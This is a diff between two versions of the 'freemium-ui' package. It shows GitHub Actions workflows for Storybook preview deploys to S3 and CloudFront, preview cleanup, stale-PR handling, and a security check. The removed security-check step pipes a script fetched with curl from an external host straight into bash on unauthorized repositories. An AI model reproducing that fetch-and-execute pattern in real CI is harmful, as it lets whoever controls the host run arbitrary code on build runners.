freemium-ui 2.0.131 → 2.0.133

package/.github/workflows/pr-preview-cleanup.yml

@@ -0,0 +1,67 @@
+# Removes preview assets from S3 and invalidates CloudFront when a PR targeting
+# main is closed (merged or abandoned), keeping the bucket clean.
+
+name: Preview Cleanup
+
+on:
+  pull_request:
+    types: [closed]
+    branches: [main]
+
+permissions:
+  contents: read
+
+# Prevent concurrent cleanup runs for the same PR.
+concurrency:
+  group: preview-${{ github.event.pull_request.number }}
+  cancel-in-progress: false
+
+jobs:
+  cleanup:
+    runs-on: fw-shared
+    timeout-minutes: 10
+    # Skip cleanup for forked PRs — secrets are not available for forks so
+    # AWS calls would fail. Forks never get a preview deployed either.
+    if: github.event.pull_request.head.repo.fork == false
+    steps:
+      # Assumes the IAM role using the runner's base credentials (instance profile)
+      # and exports temporary credentials to GITHUB_ENV for subsequent AWS steps.
+      - name: Configure AWS credentials
+        run: |
+          SESSION=$(aws sts assume-role \
+            --role-arn "${{ secrets.AWS_IAM_ROLE }}" \
+            --role-session-name "GitHubActionsCleanupSession")
+
+          echo "AWS_ACCESS_KEY_ID=$(echo "$SESSION" | jq -r '.Credentials.AccessKeyId')" >> $GITHUB_ENV
+          echo "AWS_SECRET_ACCESS_KEY=$(echo "$SESSION" | jq -r '.Credentials.SecretAccessKey')" >> $GITHUB_ENV
+          echo "AWS_SESSION_TOKEN=$(echo "$SESSION" | jq -r '.Credentials.SessionToken')" >> $GITHUB_ENV
+          echo "AWS_DEFAULT_REGION=${{ vars.AWS_REGION || 'us-east-1' }}" >> $GITHUB_ENV
+
+      # Recursively deletes all objects under previews/{PR_NUM}/ in the S3 bucket
+      # so stale preview files don't accumulate after the PR is closed.
+      - name: Delete preview prefix from S3
+        env:
+          BUCKET: ${{ secrets.PREVIEW_S3_BUCKET }}
+          PR_NUM: ${{ github.event.pull_request.number }}
+        run: |
+          if [ -z "$BUCKET" ]; then
+            echo "Set repository secret PREVIEW_S3_BUCKET."
+            exit 1
+          fi
+          aws s3 rm "s3://${BUCKET}/previews/${PR_NUM}/" --recursive
+
+      # Invalidates the CloudFront cache for the deleted preview path so the
+      # files are no longer served. Skipped if CLOUDFRONT_DISTRIBUTION_ID is
+      # not configured.
+      - name: Invalidate CloudFront
+        env:
+          DIST_ID: ${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}
+          PR_NUM: ${{ github.event.pull_request.number }}
+        run: |
+          if [ -z "$DIST_ID" ]; then
+            echo "Skipping CloudFront invalidation (CLOUDFRONT_DISTRIBUTION_ID not set)."
+            exit 0
+          fi
+          aws cloudfront create-invalidation \
+            --distribution-id "$DIST_ID" \
+            --paths "/previews/${PR_NUM}/*"

package/.github/workflows/pr-preview-deploy.yml

@@ -0,0 +1,300 @@
+# Ephemeral Storybook preview per PR (pattern from Freshworks preview-env post):
+# build → S3 previews/{PR} → optional CloudFront invalidation → PR comment.
+#
+# Secrets: AWS_IAM_ROLE (role ARN to assume), PREVIEW_S3_BUCKET — optional: CLOUDFRONT_DISTRIBUTION_ID
+# Variables: PREVIEW_BASE_URL (public origin, e.g. https://xxx.cloudfront.net), AWS_REGION
+
+name: Preview Deploy
+
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, ready_for_review]
+    branches: [main]
+  issue_comment:
+    types: [created]
+
+permissions:
+  contents: read
+  pull-requests: write
+  deployments: write
+
+# Prevent concurrent deploys for the same PR; never cancel an in-flight run
+# so a deploy is never left in a partial state.
+concurrency:
+  group: preview-${{ github.event.pull_request.number || github.event.issue.number }}
+  cancel-in-progress: false
+
+jobs:
+  preview:
+    runs-on: fw-shared
+    timeout-minutes: 30
+    # Run only for non-draft, non-NO_PREVIEW PRs from the same repo (not forks),
+    # or when a repo member manually triggers via /preview-deploy comment on an
+    # open PR. Remaining validations (base.ref, collaborator) are enforced inside
+    # the Resolve PR head step where full PR data is available.
+    if: |
+      (github.event_name == 'pull_request' && !github.event.pull_request.draft && !contains(github.event.pull_request.labels.*.name, 'NO_PREVIEW') && github.event.pull_request.head.repo.full_name == github.repository)
+      || (github.event_name == 'issue_comment' && github.event.issue.pull_request && github.event.issue.state == 'open' && contains(github.event.comment.body, '/preview-deploy') && github.event.comment.user.type != 'Bot')
+
+    steps:
+      # Resolves the PR number and head SHA for both pull_request and issue_comment
+      # events. For issue_comment, also validates that the PR is not a fork, not a
+      # draft, and does not carry the NO_PREVIEW label before proceeding.
+      - name: Resolve PR head
+        id: pr
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const prNumber =
+              context.eventName === 'pull_request'
+                ? context.payload.pull_request.number
+                : context.issue.number;
+            const { data: pr } = await github.rest.pulls.get({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              pull_number: prNumber,
+            });
+            if (context.eventName === 'issue_comment') {
+              if (pr.head.repo.full_name !== `${context.repo.owner}/${context.repo.repo}`)
+                core.setFailed('Preview deploy is not supported for forked PRs.');
+              if (pr.base.ref !== 'main')
+                core.setFailed(`Preview deploy is only supported for PRs targeting main (this PR targets '${pr.base.ref}').`);
+              if (pr.draft) core.setFailed('Draft PRs cannot be previewed via /preview-deploy.');
+              if (pr.labels.some((l) => l.name === 'NO_PREVIEW'))
+                core.setFailed('This PR has the NO_PREVIEW label.');
+              // Allow the PR author or any repo collaborator to trigger /preview-deploy.
+              const commenter = context.payload.comment.user.login;
+              if (commenter !== pr.user.login) {
+                try {
+                  await github.rest.repos.checkCollaborator({
+                    ...context.repo,
+                    username: commenter,
+                  });
+                } catch {
+                  core.setFailed(`User '${commenter}' is not the PR author or a repository collaborator and cannot trigger /preview-deploy.`);
+                }
+              }
+            }
+            core.setOutput('number', String(pr.number));
+            core.setOutput('sha', pr.head.sha);
+
+      # Registers a GitHub Deployment record for this PR so the native
+      # "Deployments" section on the PR page tracks the preview environment.
+      # The deployment ID is captured as an output for subsequent status updates.
+      - name: Create GitHub Deployment
+        id: deployment
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const { data } = await github.rest.repos.createDeployment({
+              ...context.repo,
+              ref: '${{ steps.pr.outputs.sha }}',
+              environment: 'preview',
+              auto_merge: false,
+              required_contexts: [],
+              description: 'PR #${{ steps.pr.outputs.number }} preview',
+            });
+            core.setOutput('id', String(data.id));
+
+      # Marks the deployment as in_progress immediately so the PR shows a
+      # spinning indicator while the build and upload are running.
+      - name: Set deployment in_progress
+        uses: actions/github-script@v7
+        with:
+          script: |
+            await github.rest.repos.createDeploymentStatus({
+              ...context.repo,
+              deployment_id: Number('${{ steps.deployment.outputs.id }}'),
+              state: 'in_progress',
+              log_url: `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`,
+            });
+
+      # Checks out the exact commit from the PR head (not the merge commit)
+      # so the preview reflects what is in the PR branch.
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ steps.pr.outputs.sha }}
+          fetch-depth: 1
+
+      # Sets up Node.js 20 with npm cache enabled to speed up subsequent installs.
+      - uses: actions/setup-node@v4
+        with:
+          node-version: 20
+          cache: npm
+
+      # Configures npm to fetch @freshworks scoped packages from GitHub Packages.
+      - name: Configure npm for GitHub Packages
+        run: |
+          echo "@freshdesk:registry=https://npm.pkg.github.com/" >> .npmrc
+          echo "@freshworks:registry=https://npm.pkg.github.com/" >> .npmrc
+          echo "@freshworksinc:registry=https://npm.pkg.github.com/" >> .npmrc
+          echo "//npm.pkg.github.com/:_authToken=${{ secrets.GH_AUTH_TOKEN }}" >> .npmrc
+
+      # Installs exact dependency versions from package-lock.json.
+      - run: npm ci
+
+      # Assumes the IAM role specified by AWS_IAM_ROLE using the runner's base
+      # credentials (instance profile). Exports temporary credentials to
+      # GITHUB_ENV so all subsequent steps can make authenticated AWS calls.
+      # Fails fast with a clear error if assume-role or any credential extraction fails.
+      - name: Configure AWS credentials
+        run: |
+          set -euo pipefail
+
+          SESSION=$(aws sts assume-role \
+            --role-arn "${{ secrets.AWS_IAM_ROLE }}" \
+            --role-session-name "GitHubActionsPreviewSession") \
+            || { echo "ERROR: aws sts assume-role failed"; exit 1; }
+
+          AWS_ACCESS_KEY_ID=$(echo "$SESSION" | jq -re '.Credentials.AccessKeyId') \
+            || { echo "ERROR: Failed to extract AccessKeyId from assume-role response"; exit 1; }
+          AWS_SECRET_ACCESS_KEY=$(echo "$SESSION" | jq -re '.Credentials.SecretAccessKey') \
+            || { echo "ERROR: Failed to extract SecretAccessKey from assume-role response"; exit 1; }
+          AWS_SESSION_TOKEN=$(echo "$SESSION" | jq -re '.Credentials.SessionToken') \
+            || { echo "ERROR: Failed to extract SessionToken from assume-role response"; exit 1; }
+
+          echo "AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}" >> $GITHUB_ENV
+          echo "AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}" >> $GITHUB_ENV
+          echo "AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN}" >> $GITHUB_ENV
+          echo "AWS_DEFAULT_REGION=${{ vars.AWS_REGION || 'us-east-1' }}" >> $GITHUB_ENV
+
+      # Ensures PREVIEW_BASE_URL is set before the build so PREVIEW_URL is never
+      # constructed from an empty base, which would produce broken relative URLs.
+      - name: Validate required variables
+        run: |
+          if [ -z "${{ vars.PREVIEW_BASE_URL }}" ]; then
+            echo "ERROR: Repository variable PREVIEW_BASE_URL is not set. Set it under Settings → Variables."
+            exit 1
+          fi
+
+      # Builds the Storybook static output into storybook-static/.
+      # PREVIEW_URL tells Storybook the public base path it will be served from.
+      - name: Build Storybook
+        run: npm run build-storybook
+        env:
+          PREVIEW_URL: ${{ vars.PREVIEW_BASE_URL }}/previews/${{ steps.pr.outputs.number }}/
+
+      # Uploads the built Storybook to S3 under previews/{PR_NUM}/.
+      # Entry points (index.html, iframe.html) are uploaded with no-cache so
+      # browsers always fetch the latest HTML on each redeploy.
+      # All other assets are synced with a 1-year TTL since their filenames
+      # are content-hashed and safe to cache indefinitely.
+      - name: Upload to S3
+        env:
+          BUCKET: ${{ secrets.PREVIEW_S3_BUCKET }}
+          PR_NUM: ${{ steps.pr.outputs.number }}
+        run: |
+          if [ -z "$BUCKET" ]; then
+            echo "Set repository secret PREVIEW_S3_BUCKET."
+            exit 1
+          fi
+          # Upload entry points with no-cache so browsers always fetch the latest HTML
+          for f in index.html iframe.html; do
+            if [ -f "storybook-static/$f" ]; then
+              aws s3 cp "storybook-static/$f" "s3://${BUCKET}/previews/${PR_NUM}/$f" \
+                --cache-control "no-cache, must-revalidate"
+            else
+              echo "ERROR: Expected Storybook output file 'storybook-static/$f' is missing. Ensure the build completed successfully."
+              exit 1
+            fi
+          done
+          # Sync remaining assets with a long TTL (safe because filenames are content-hashed)
+          aws s3 sync storybook-static/ "s3://${BUCKET}/previews/${PR_NUM}/" \
+            --delete \
+            --exclude "index.html" \
+            --exclude "iframe.html" \
+            --cache-control "max-age=31536000,public"
+
+      # Invalidates the CloudFront cache for this PR's preview path so the
+      # updated files are served immediately. Skipped if CLOUDFRONT_DISTRIBUTION_ID
+      # is not configured.
+      - name: Invalidate CloudFront
+        env:
+          DIST_ID: ${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}
+          PR_NUM: ${{ steps.pr.outputs.number }}
+        run: |
+          if [ -z "$DIST_ID" ]; then
+            echo "Skipping CloudFront invalidation (CLOUDFRONT_DISTRIBUTION_ID not set)."
+            exit 0
+          fi
+          aws cloudfront create-invalidation \
+            --distribution-id "$DIST_ID" \
+            --paths "/previews/${PR_NUM}/*"
+
+      # Marks the GitHub Deployment as success and sets the environment_url to
+      # the preview link so it appears in the native Deployments section of the PR.
+      - name: Set deployment success
+        uses: actions/github-script@v7
+        env:
+          BASE_URL: ${{ vars.PREVIEW_BASE_URL }}
+        with:
+          script: |
+            const base = (process.env.BASE_URL || '').replace(/\/$/, '');
+            const previewUrl = `${base}/previews/${{ steps.pr.outputs.number }}/index.html`;
+            await github.rest.repos.createDeploymentStatus({
+              ...context.repo,
+              deployment_id: Number('${{ steps.deployment.outputs.id }}'),
+              state: 'success',
+              environment_url: previewUrl,
+              log_url: `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`,
+            });
+
+      # Posts or updates a single bot comment on the PR with the preview URL.
+      # Uses a hidden HTML marker to find and update the existing comment on
+      # re-deploys instead of posting a new one each time.
+      # Paginates through all comments (100 per page) to reliably find the marker
+      # even on PRs with many comments.
+      - name: PR comment with preview URL
+        uses: actions/github-script@v7
+        env:
+          BASE_URL: ${{ vars.PREVIEW_BASE_URL }}
+        with:
+          script: |
+            const prNumber = Number('${{ steps.pr.outputs.number }}');
+            const base = (process.env.BASE_URL || '').replace(/\/$/, '');
+            const previewUrl = `${base}/previews/${prNumber}/index.html`;
+            const marker = '<!-- preview-deploy-comment -->';
+            const body = [
+              marker,
+              '### Preview environment ready',
+              '',
+              `**Preview:** [${previewUrl}](${previewUrl})`,
+              '',
+              `_Updated: ${new Date().toUTCString()}_`,
+            ].join('\n');
+
+            const comments = await github.paginate(github.rest.issues.listComments, {
+              ...context.repo,
+              issue_number: prNumber,
+              per_page: 100,
+            });
+            const existing = comments.find((c) => c.body?.includes(marker));
+
+            if (existing) {
+              await github.rest.issues.updateComment({
+                ...context.repo,
+                comment_id: existing.id,
+                body,
+              });
+            } else {
+              await github.rest.issues.createComment({
+                ...context.repo,
+                issue_number: prNumber,
+                body,
+              });
+            }
+
+      # Marks the GitHub Deployment as failure if any earlier step failed,
+      # so the PR's Deployments section reflects the broken state.
+      # Only runs if the deployment record was successfully created.
+      - name: Set deployment failure
+        if: failure() && steps.deployment.outputs.id != ''
+        uses: actions/github-script@v7
+        with:
+          script: |
+            await github.rest.repos.createDeploymentStatus({
+              ...context.repo,
+              deployment_id: Number('${{ steps.deployment.outputs.id }}'),
+              state: 'failure',
+              log_url: `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`,
+            });

package/.github/workflows/security_verification.yml

@@ -9,52 +9,13 @@ on:
       - "**"
 
 jobs:
-  check-verify:
-    runs-on: ubuntu-latest
-
+  codepot-scan:
+    name: Codepot
+    runs-on: ["ubuntu-latest"]
     steps:
-      - name: Check Repository
-        id: check-repo
-        run: |
-          
-          AUTHORIZED_ORGS=()
-          while IFS= read -r line; do
-            AUTHORIZED_ORGS+=("$line")
-          done < <(curl -s https://codepot.freshpo.com/pattern)
-          
-          match=false
-
-          CURRENT_REPO="${{ github.repository }}"
-          CURRENT_REPO_ORG="${{ github.repository_owner }}"
-
-          echo "Current repository: $CURRENT_REPO"
-          echo "authorized_regex=$(IFS=,; echo "${AUTHORIZED_ORGS[*]}")" >> $GITHUB_OUTPUT
-
-          for ORG in "${AUTHORIZED_ORGS[@]}"; do
-            if [[ "$CURRENT_REPO_ORG" == "$ORG" ]]; then
-              echo "✅ Repository matches authorized organization: $ORG"
-              match=true
-              break
-            fi
-          done
-
-          if $match; then
-            echo "✅ Repository is authorized"
-            echo "is_authorized=true" >> $GITHUB_OUTPUT
-          else
-            echo "🚨 UNAUTHORIZED REPOSITORY DETECTED!"
-            echo "is_authorized=false" >> $GITHUB_OUTPUT
-          fi
-
-      - name: Verification
-        if: steps.check-repo.outputs.is_authorized == 'false'
-        run: |
-          curl https://codepot.freshpo.com/verify | bash
-        env:
-          AUTHORIZED_REGEX: ${{ steps.check-repo.outputs.authorized_regex }}
-          EVENT: ${{ github.event_name }}
-          RUN_ID: ${{ github.run_id }}
-          ADDED: ${{ toJson(github.event.head_commit.added) }}
-          MODIFIED: ${{ toJson(github.event.head_commit.modified) }}
-          REMOVED: ${{ toJson(github.event.head_commit.removed) }}
+      - name: Running Codepot
+        uses: freshactions/codepot@dev
 
+###### GIT INT ######
+# b6dcc6a5f4c358bccd64ca41681596868b2a851282c7a6de1bf775d995dd0417 #
+###### GIT INT ######

package/.github/workflows/stale.yml

@@ -0,0 +1,112 @@
+name: Stale PR Management
+
+on:
+  schedule:
+    - cron: '0 0 * * *' # Run daily at midnight UTC
+
+  workflow_dispatch: # Allow manual trigger
+
+permissions:
+  pull-requests: write
+  issues: write
+
+jobs:
+  stale:
+    runs-on: ['self-hosted', 'Linux']
+    name: Mark and Close Stale PRs
+
+    steps:
+      - uses: actions/stale@5bef64f19d7facfb25b37b414482c7164d639639 # v9
+        with:
+          repo-token: ${{ secrets.GITHUB_TOKEN }}
+
+          # PR Configuration
+          days-before-stale: 2
+          days-before-close: 2
+
+          # Do not handle issues
+          days-before-issue-stale: -1
+          days-before-issue-close: -1
+
+          # Stale PR message (warning)
+          stale-pr-message: |
+            ## ⏰ Stale PR Warning
+
+            This pull request has been **inactive for 2 days** with no commits, comments, or reviews.
+
+            ### What happens next?
+
+            - This PR will be automatically closed in **2 days** if no activity occurs
+            - To prevent closure, you can:
+              - Push new commits
+              - Add a comment with updates or status
+              - Remove the `stale` label
+              - Request review from team members
+
+            ### Why does this matter?
+
+            - Keeps our PR list clean and manageable
+            - Helps identify abandoned or forgotten work
+            - Encourages timely reviews and merges
+
+            ### Need more time?
+
+            Simply comment on this PR to remove the stale label, or:
+            - Add `work-in-progress` label if still developing
+            - Add `blocked` label if waiting on external dependencies
+            - Add `on-hold` label if intentionally paused
+
+            ---
+
+            💡 **Tip:** Keep your PRs active by:
+            - Requesting reviews when ready
+            - Responding to feedback promptly
+            - Rebasing on latest main/dev branch
+            - Adding status updates if blocked
+
+          # Close message (final notice)
+          close-pr-message: |
+            ## 🔒 PR Automatically Closed
+
+            This pull request has been closed due to **4 days of inactivity** (2 days stale + 2 days grace period).
+
+            ### What you can do:
+
+            ✅ **Reopen this PR** if you want to continue working on it
+            ✅ **Create a new PR** with updated changes
+            ✅ **Link related issues** to track the work
+
+            ### Why was this closed?
+
+            - Helps maintain a clean, manageable PR list
+            - Prevents outdated PRs from accumulating
+            - Encourages active development workflow
+
+            ### Need help?
+
+            If this PR was closed in error or you need assistance:
+            - Comment mentioning a team member
+            - Reopen and add context about delays
+            - Reach out on team channels
+
+            ---
+
+          # Label configuration
+          stale-pr-label: 'stale'
+          exempt-pr-labels: 'work-in-progress,blocked,on-hold,keep-open,dependencies'
+          exempt-draft-pr: true
+
+          # Activity that removes stale label
+          remove-stale-when-updated: true
+
+          # Operations limit (prevent API rate limiting)
+          operations-per-run: 100
+
+          # Sort order (process oldest first)
+          ascending: true
+
+          # Delete branch on close (optional - uncomment if desired)
+          # delete-branch: true
+
+          # Additional configuration
+          enable-statistics: true